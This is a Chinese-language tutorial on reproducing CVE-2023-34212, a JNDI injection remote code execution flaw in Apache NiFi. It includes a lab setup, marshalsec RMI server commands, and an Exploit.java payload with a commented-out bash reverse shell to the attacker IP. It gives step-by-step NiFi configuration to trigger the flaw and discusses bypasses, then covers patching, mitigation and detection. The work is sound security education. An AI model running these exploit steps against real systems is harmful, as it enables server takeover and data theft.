1. 项目概述与漏洞背景最近在梳理一些开源数据流组件的安全风险Apache NiFi这个老牌的数据集成工具自然绕不过去。它功能强大但复杂的组件生态也意味着攻击面不小。CVE-2023-34212这个漏洞就是一个典型例子它出在NiFi的JMSJava Message Service连接功能上本质是一个JNDI注入导致的反序列化漏洞。简单来说攻击者可以通过构造恶意的JMS连接配置让NiFi服务器在初始化连接时去访问一个由攻击者控制的恶意JNDI服务地址进而加载并执行远程的恶意Java类最终实现远程代码执行RCE。这个漏洞的CVSS评分达到了8.8分属于高危级别。影响范围是Apache NiFi 1.0.0版本到1.21.0版本以及NiFi Registry的部分版本。如果你所在的环境还在使用这个版本区间的NiFi并且启用了涉及JMS的处理器比如JmsProducer、ConsumeJMS等那就需要格外注意了。复现这个漏洞不仅能帮助我们理解NiFi内部组件交互的潜在风险更是对JNDI注入和反序列化攻击链的一次绝佳实战演练。对于安全研究人员、渗透测试工程师和负责NiFi运维的开发者来说搞清楚它的原理和利用方式是进行有效防护和漏洞验证的基础。2. 漏洞原理深度解析要彻底理解CVE-2023-34212我们需要拆解几个关键概念NiFi的控制器服务、JMS连接工厂、JNDI查找以及不安全的反序列化是如何串联成一条完整攻击链的。2.1 NiFi控制器服务与JndiJmsConnectionFactoryProvider在NiFi中处理器Processor是执行具体任务如读取文件、转换数据、发送消息的单元。很多处理器需要外部资源连接比如数据库连接、消息队列连接。为了复用和管理这些连接配置NiFi引入了控制器服务Controller Service。JndiJmsConnectionFactoryProvider就是一个控制器服务它的作用是为需要JMS连接的处理器提供一个统一的JMS连接工厂ConnectionFactory来源。它的工作流程通常是这样的管理员在NiFi的UI上配置这个服务指定JNDI的初始上下文工厂类Initial Context Factory和提供者URLProvider URL。当某个JMS处理器启动时它会调用这个控制器服务服务则会根据配置通过JNDI去指定的地址Provider URL查找名为ConnectionFactory的对象。这个查找回来的对象会被NiFi用于创建到真实消息中间件如ActiveMQ、IBM MQ的JMS连接。2.2 JNDI注入与反序列化攻击链漏洞的核心就藏在这个JNDI查找过程里。JNDIJava Naming and Directory Interface是Java提供的一个API用于访问各种命名和目录服务比如LDAP、RMI、CORBA。在Java历史上尤其是JDK版本较低时JNDI查找行为存在一个严重问题当客户端从JNDI服务端获取到一个对象引用时如果这个引用指向一个远程的序列化对象例如一个Reference对象客户端会自动从该引用指定的codebase地址去下载并实例化对应的类。攻击者可以搭建一个恶意的JNDI服务例如利用RMI或LDAP协议当NiFi的JndiJmsConnectionFactoryProvider向这个恶意服务发起查找请求时恶意服务并不返回一个正常的JMS连接工厂而是返回一个精心构造的Reference对象。这个Reference对象中指向的class文件地址codebase是攻击者控制的HTTP服务器。NiFi即客户端在接收到这个Reference后会尝试从攻击者的HTTP服务器下载并加载指定的类。如果NiFi服务运行环境的Java版本存在相关的反序列化利用链例如commons-collections、groovy等库的利用链那么攻击者构造的恶意类在加载和初始化过程中就可能执行任意代码。这里的关键在于JndiJmsConnectionFactoryProvider组件在配置时没有对用户输入的JNDI Initial Context Factory和Provider URL进行有效的安全校验和限制。攻击者可以在NiFi的UI上或者通过NiFi的API将这两个参数设置为指向自己控制的恶意JNDI服务地址。注意这个漏洞的利用成功与否高度依赖于NiFi服务器运行的Java环境。对于较高版本的JDK例如JDK 8u191/11.0.1/7u201/6u211之后默认设置了com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase为false这会阻止从远程codebase加载类从而在很大程度上缓解了此类攻击。但在实际企业环境中遗留系统、特定配置或依赖库可能仍会创造可利用的条件。2.3 漏洞触发路径与影响漏洞的触发路径非常清晰攻击入口攻击者通过NiFi UI或API创建或修改一个JndiJmsConnectionFactoryProvider控制器服务。恶意配置在该服务的配置中将“JNDI Initial Context Factory”设置为攻击者可控的类如com.sun.jndi.rmi.registry.RegistryContextFactory并将“Provider URL”指向攻击者搭建的恶意RMI或LDAP服务地址如rmi://attacker-ip:1099/Exploit。服务关联与启动攻击者将该恶意控制器服务关联到一个启用的JMS处理器如PublishJMS或者等待其他用户/进程关联并启动相关处理器。漏洞触发当关联的JMS处理器启动时NiFi会初始化JndiJmsConnectionFactoryProvider服务该服务根据配置向恶意Provider URL发起JNDI查找。攻击执行恶意JNDI服务返回恶意的Reference对象引导NiFi服务器从攻击者控制的HTTP服务器加载恶意类在类加载和反序列化过程中执行攻击代码最终在NiFi服务器上实现远程命令执行。这个漏洞的影响是直接的服务器控制权丢失。由于NiFi通常用于处理核心数据流且可能以较高权限运行攻击者可以利用此漏洞窃取敏感数据、破坏数据处理流程、植入后门甚至作为跳板攻击内网其他系统。3. 漏洞复现环境搭建纸上得来终觉浅绝知此事要躬行。要真正理解这个漏洞亲手搭建环境复现一遍是最好的方式。下面我会详细说明每一步的操作和背后的原因。3.1 实验环境规划为了安全且清晰地复现我们通常在隔离的环境中进行比如使用虚拟机或Docker。以下是本次复现的环境清单攻击机 (Attacker): Kali Linux 或任意安装有Java和Python的Linux系统。IP:192.168.1.100用于启动恶意JNDI服务、HTTP服务并发送攻击请求。靶机 (Target): 安装有漏洞版本Apache NiFi的服务器。IP:192.168.1.200我们将在其上部署存在漏洞的NiFi。软件版本:Apache NiFi: 选择受影响的版本例如1.20.0。下载地址可以从Apache官网归档库获取。Java环境: NiFi 1.20.0 需要 JDK 8 或 JDK 11。为了复现成功我们选择JDK 8u191 之前的版本例如JDK 8u181。这是利用成功的关键因为高版本默认禁用了远程类加载。攻击工具: 我们将使用一个集成的JNDI注入利用工具例如JNDI-Injection-Exploit。3.2 靶机环境部署安装JDK 8u181:# 下载JDK 8u181 (请从Oracle官网或可信镜像站获取) wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz # 解压 tar -xzf jdk-8u181-linux-x64.tar.gz -C /opt/ # 设置环境变量 echo export JAVA_HOME/opt/jdk1.8.0_181 ~/.bashrc echo export PATH$JAVA_HOME/bin:$PATH ~/.bashrc source ~/.bashrc # 验证版本 java -version输出应显示1.8.0_181。确保没有其他高版本Java干扰。部署Apache NiFi 1.20.0:# 下载NiFi 1.20.0二进制包 wget https://archive.apache.org/dist/nifi/1.20.0/nifi-1.20.0-bin.tar.gz # 解压 tar -xzf nifi-1.20.0-bin.tar.gz cd nifi-1.20.0 # 启动NiFi (前台启动方便观察日志) ./bin/nifi.sh start # 查看启动状态和日志 ./bin/nifi.sh status tail -f ./logs/nifi-app.log等待片刻直到日志中出现“Controller initialization took”等相关成功启动信息。默认情况下NiFi的Web UI运行在http://靶机IP:8080/nifi。首次访问可能需要生成单节点证书按照日志提示操作即可。3.3 攻击机环境准备在攻击机上我们需要准备JNDI利用工具。这里使用 marshalsec 来快速搭建RMI/LDAP服务并用一个简单的HTTP服务来托管恶意类。编译 marshalsec:# 安装Maven sudo apt-get update sudo apt-get install -y maven # 克隆 marshalsec 项目 git clone https://github.com/mbechler/marshalsec.git cd marshalsec # 使用Maven编译 mvn clean package -DskipTests编译成功后会在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。准备恶意Java类: 创建一个简单的恶意类用于证明命令执行。例如我们创建一个执行touch /tmp/pwned_success命令的类。由于NiFi最终会实例化从JNDI返回的Reference所指向的类这个类需要有一个无参构造函数并且在构造函数或静态代码块中执行命令。// 文件Exploit.java import java.io.IOException; public class Exploit { public Exploit() { try { Runtime.getRuntime().exec(new String[]{/bin/bash, -c, touch /tmp/pwned_success}); // 也可以执行反弹shell等复杂命令例如 // Runtime.getRuntime().exec(new String[]{/bin/bash, -c, bash -i /dev/tcp/192.168.1.100/4444 01}); } catch (IOException e) { e.printStackTrace(); } } }编译这个类并将其放在攻击机的某个目录下供HTTP服务器访问。javac Exploit.java启动HTTP服务器: 在存放Exploit.class文件的目录下启动一个简单的HTTP服务器端口设为8888。python3 -m http.server 8888确保可以通过http://192.168.1.100:8888/Exploit.class访问到这个类文件。4. 漏洞利用过程实操环境就绪现在开始最关键的利用环节。我们将模拟攻击者的操作在NiFi上配置恶意控制器服务并触发漏洞。4.1 启动恶意JNDI服务在攻击机上使用之前编译好的marshalsec启动一个RMI服务。这个服务会监听一个端口当有客户端即我们的靶机NiFi连接并查询指定名称时它会返回一个指向我们HTTP服务器上恶意类的Reference。# 在攻击机 marshalsec 目录下执行 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.100:8888/#Exploit 1099这条命令的含义是marshalsec.jndi.RMIRefServer: 启动一个RMI引用服务器。http://192.168.1.100:8888/#Exploit: 这是codebase URL和类名。#后面的Exploit是我们恶意类的类名不含.class。服务器收到查询后会告诉客户端去http://192.168.1.100:8888/加载Exploit类。1099: RMI服务监听的端口。服务启动后会输出类似Listening on 0.0.0.0:1099的信息。4.2 在NiFi上配置恶意控制器服务现在我们以攻击者视角通过NiFi的Web界面进行配置。访问NiFi UI: 在浏览器中打开http://192.168.1.200:8080/nifi。进入控制器服务配置:在画布空白处右键选择Configure。在左侧导航栏选择Controller Services点击右上角的号添加新的控制器服务。在搜索框中输入JndiJmsConnectionFactoryProvider选中它并点击Add。配置恶意参数:点击新添加的服务右侧的配置齿轮图标。关键配置如下JNDI Initial Context Factory: 这里需要填写一个有效的JNDI上下文工厂类。对于我们启动的RMI服务使用com.sun.jndi.rmi.registry.RegistryContextFactory。这个类存在于标准的JDK中用于连接RMI注册表。JNDI Provider URL: 填入我们攻击机上启动的恶意RMI服务地址格式为rmi://192.168.1.100:1099/evil。这里的/evil是查询的名称可以是任意值只要与后续步骤中marshalsec接收的名称匹配即可实际上marshalsec的RMIRefServer会处理所有查询名称不重要。JNDI Name: 保持默认的ConnectionFactory即可。这是JNDI查找时请求的对象名。其他配置如连接属性可以留空或默认。点击Apply保存配置。启用控制器服务:回到控制器服务列表找到刚刚配置的JndiJmsConnectionFactoryProvider点击右侧的闪电图标启用它。此时漏洞尚未触发。控制器服务只是被启用但还没有被任何处理器调用去执行JNDI查找。4.3 关联处理器并触发漏洞为了让NiFi真正执行JNDI查找我们需要让一个JMS处理器去使用这个控制器服务。添加JMS处理器:从处理器面板拖拽一个PublishJMS处理器到画布上。配置处理器使用恶意服务:右键点击PublishJMS处理器选择Configure。在PROPERTIES标签页找到JMS Connection Factory Service这个属性。点击右侧的下拉箭头选择我们刚刚创建并启用的那个JndiJmsConnectionFactoryProvider控制器服务。启动处理器以触发漏洞:保存处理器配置。右键点击画布上的PublishJMS处理器选择Start。关键动作发生当处理器启动时它会尝试初始化JMS连接从而调用其绑定的JndiJmsConnectionFactoryProvider服务。该服务会根据我们的配置向rmi://192.168.1.100:1099/evil发起JNDI查找。4.4 观察攻击结果切换回攻击机的终端观察各个服务的输出marshalsec RMI服务终端: 你应该会看到新的连接日志显示来自靶机IP (192.168.1.200) 的连接和查询请求。Python HTTP服务终端: 你应该会看到一条HTTP GET请求日志请求/Exploit.class文件这证明NiFi服务器确实尝试从我们的HTTP服务器加载恶意类。检查靶机:登录到靶机服务器检查我们恶意类中指定的文件是否被创建ls -la /tmp/pwned_success如果文件存在恭喜你漏洞复现成功这证明了远程代码执行已经发生。同时检查NiFi的应用日志./logs/nifi-app.log你很可能会看到与JNDI查找、类加载相关的错误或异常信息例如ClassNotFoundException或与javax.naming相关的错误。这些日志是漏洞触发的佐证。实操心得在实际复现中可能会因为Java版本、网络策略、NiFi配置等因素失败。如果/tmp/pwned_success文件没有创建请按以下顺序排查1) 确认靶机Java版本是否为8u181或更低2) 检查攻击机与靶机之间的网络连通性1099和8888端口3) 查看NiFi日志中是否有更详细的错误4) 尝试在恶意类中执行更简单的命令如写入一个文本文件或使用ping命令测试命令执行能力。有时安全软件或容器环境也会拦截进程创建。5. 漏洞修复与缓解措施成功复现漏洞意味着我们理解了其危害。对于生产环境必须立即采取行动进行修复和加固。5.1 官方修复方案Apache NiFi官方已经发布了修复此漏洞的版本。最根本的解决方案是升级到不受影响的版本Apache NiFi: 升级到1.22.0或更高版本。Apache NiFi Registry: 升级到1.22.0或更高版本。修复的核心在于对JndiJmsConnectionFactoryProvider组件进行了安全加固。新版本中该组件默认不再允许使用JNDI查找来获取连接工厂。它被一个更安全的实现所替代或者对可配置的JNDI上下文工厂和提供者URL施加了严格的限制或完全移除了相关配置项。升级后即使配置了恶意的JNDI参数也无法触发远程类加载。升级步骤建议备份完整备份当前的NiFi安装目录、配置文件conf/和流程存储库flowfile_repository,content_repository,provenance_repository默认在./目录下。查阅官方升级指南仔细阅读目标版本如1.22.0的发布说明和升级文档了解不兼容的变更和升级步骤。测试环境验证先在测试环境中进行升级和流程验证确保所有数据流处理器工作正常。生产环境升级规划维护窗口执行生产环境升级。5.2 临时缓解措施如果由于某些原因无法立即升级可以考虑以下临时缓解措施以降低风险禁用或删除JndiJmsConnectionFactoryProvider控制器服务在NiFi UI中审查所有正在使用的控制器服务。查找所有类型为JndiJmsConnectionFactoryProvider的服务。将其停止并禁用。如果确认不再需要可以直接删除。检查所有JMS处理器如PublishJMS,ConsumeJMS等确保它们没有引用任何JndiJmsConnectionFactoryProvider服务而是使用其他安全的连接工厂服务如ActiveMQConnectionFactoryProvider,IBM MQ Connection Factory Provider等这些服务不依赖JNDI查找。网络层隔离与访问控制严格限制NiFi服务器节点的出站网络连接。通过防火墙策略只允许NiFi服务器访问其必需的后端服务如数据库、消息队列、目标API等的特定端口。特别要阻断NiFi服务器对任意外部地址的LDAP389, 636、RMI1099, 1098等端口的出站访问。这样可以阻止NiFi连接到外部的恶意JNDI服务即使漏洞被触发攻击也无法完成。升级Java运行环境将NiFi运行的JDK升级到最新版本如JDK 8u371, JDK 11.0.19, JDK 17.0.7或更高。高版本JDK默认设置了com.sun.jndi.rmi.object.trustURLCodebasefalse和com.sun.jndi.ldap.object.trustURLCodebasefalse能有效阻止从远程codebase加载类可以阻断大部分基于JNDI注入的远程类加载攻击。注意这并非万无一失。在某些特定条件下如利用本地ClassPath中的gadget链仍然可能存在利用方式。因此升级JDK应与其他措施结合使用。使用安全配置参数在NiFi的Java启动参数./conf/bootstrap.conf中的java.arg部分中显式添加以下参数以强化JNDI防护-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dcom.sun.jndi.cosnaming.object.trustURLCodebasefalse重启NiFi使配置生效。5.3 安全配置最佳实践除了针对此漏洞的修复日常运维中应遵循以下安全实践来加固NiFi最小权限原则运行NiFi的系统和用户账户应仅拥有完成其功能所必需的最小权限。避免使用root或管理员权限运行。网络隔离将NiFi集群部署在内部网络区域严格限制其与互联网和无关内网区域的通信。定期更新与漏洞扫描订阅Apache NiFi的安全公告定期更新到稳定版本。使用软件成分分析SCA工具定期扫描NiFi及其依赖库的已知漏洞。审计与监控启用并定期审查NiFi的审计日志logs/nifi-app.log,logs/nifi-user.log。监控异常的网络连接尝试尤其是出向的LDAP/RMI连接和服务器上未知的进程创建行为。流程与配置审查建立流程审核机制对新增或修改的处理器、控制器服务配置进行安全审查特别是涉及外部连接和参数注入的配置。6. 深度排查与疑难问题解决在复现或分析过程中你可能会遇到各种问题。这里汇总了一些常见的情况和排查思路。6.1 复现失败常见原因排查表现象可能原因排查步骤与解决方案NiFi日志无JNDI相关错误HTTP服务无请求处理器未成功触发服务1. 确认控制器服务已启用状态为Enabled。2. 确认JMS处理器已启动状态为Running。3. 检查处理器配置确保JMS Connection Factory Service属性已正确绑定到恶意控制器服务。4. 尝试在处理器上手动触发一次执行如通过上游生成FlowFile。HTTP服务收到请求但/tmp/pwned_success未创建命令执行失败或环境限制1.检查Java版本在靶机执行java -version确认是8u191之前版本。2.检查命令路径恶意类中的命令使用绝对路径(/bin/bash,touch)。3.检查权限运行NiFi的用户是否有权限在/tmp目录创建文件。4.简化命令测试将恶意类中的命令改为写入一个文件如echo test /tmp/test.txt或执行id /tmp/id.txt。NiFi日志报ClassNotFoundException或NoClassDefFoundError恶意类加载失败1. 确认HTTP服务可访问且Exploit.class文件在正确路径。2. 确认恶意类没有包名。如果有包名codebase URL需要指向对应目录且JNDIReference中的类名需为全限定名。3. 检查编译Exploit.java的JDK版本是否与靶机NiFi的JDK版本兼容。建议使用相同或更低版本编译。NiFi日志报javax.naming.CommunicationException网络连接问题1. 从靶机使用telnet或nc命令测试到攻击机1099端口的连通性nc -zv 192.168.1.100 1099。2. 检查攻击机和靶机的防火墙、安全组规则确保1099RMI和8888HTTP端口对靶机开放。使用高版本JDK复现攻击不成功高版本JDK默认防护这是预期行为。JDK 8u191/11.0.1/7u201/6u211之后版本默认禁用了远程codebase加载。若要复现必须使用旧版JDK如8u181。这也说明了升级JDK是有效的缓解措施。marshalsec服务启动报错或无响应端口占用或依赖问题1. 检查1099端口是否被占用netstat -tlnp6.2 高级利用与绕过思路探讨在更复杂的实战或红队评估中攻击者可能会尝试绕过一些限制利用本地ClassPath中的Gadget链即使在高版本JDK中无法远程加载类如果NiFi应用的ClassPath中包含了存在反序列化漏洞的库如旧版本的commons-collections,groovy,fastjson等攻击者可以构造一个特殊的Reference其指向的类名是ClassPath中已有的某个可利用的类。当这个类被JNDI查找返回并触发反序列化时可能会利用ClassPath中已有的gadget链执行代码。这要求攻击者对目标环境的依赖库有深入了解。其他JNDI上下文工厂除了RMILDAP也是常见的JNDI注入向量。marshalsec同样支持启动LDAP服务。有时目标环境的网络策略可能允许LDAP389端口而出站阻止RMI1099端口可以尝试更换协议。DNS查询作为出网检测在无法直接执行命令或需要确认漏洞是否存在时可以在恶意类的构造函数中加入DNS查询逻辑如Runtime.getRuntime().exec(nslookup your-domain.com)通过监控DNS日志来验证漏洞是否触发这是一种相对隐蔽的检测方式。注意事项所有这些高级利用技术的研究和测试必须且仅限在你自己完全控制的、隔离的实验室环境中进行。未经授权对任何系统进行漏洞测试或攻击是非法的。6.3 从防御视角看漏洞挖掘作为防御者或安全研究员理解漏洞复现的最终目的不是为了攻击而是为了构建更有效的防御。流量检测可以在网络边界或主机层部署检测规则监控NiFi服务器进程是否向外部发起非常规的RMI或LDAP连接请求目标端口1099, 389, 636等。日志监控强化NiFi应用日志的监控设置告警规则关键词可以包括javax.naming,InitialContext,lookup,ConnectionFactory结合异常错误信息。配置基线核查通过自动化脚本定期核查NiFi的配置包括flow.xml.gz或当前流程状态检查是否存在JndiJmsConnectionFactoryProvider类型的控制器服务并核查其Initial Context Factory和Provider URL配置值是否为公司认可的、受信的内部服务地址。依赖库安全管理持续管理NiFi的依赖库即使修复了此漏洞也要及时更新其他可能存在反序列化风险的第三方库如Jackson, Fastjson, XStream等减少可利用的gadget链。通过这次完整的CVE-2023-34212复现我们不仅掌握了一个具体漏洞的利用方法更深入理解了JNDI注入与反序列化组合攻击的经典模式。这种模式在Java生态中曾多次出现如Log4Shell。其根本教训是对于来自用户输入、用于动态加载代码或反射操作的参数必须进行极其严格的校验、过滤或直接禁用。作为开发者在设计和评审涉及外部资源定位、序列化数据传输、动态类加载的功能时必须将安全作为首要考量。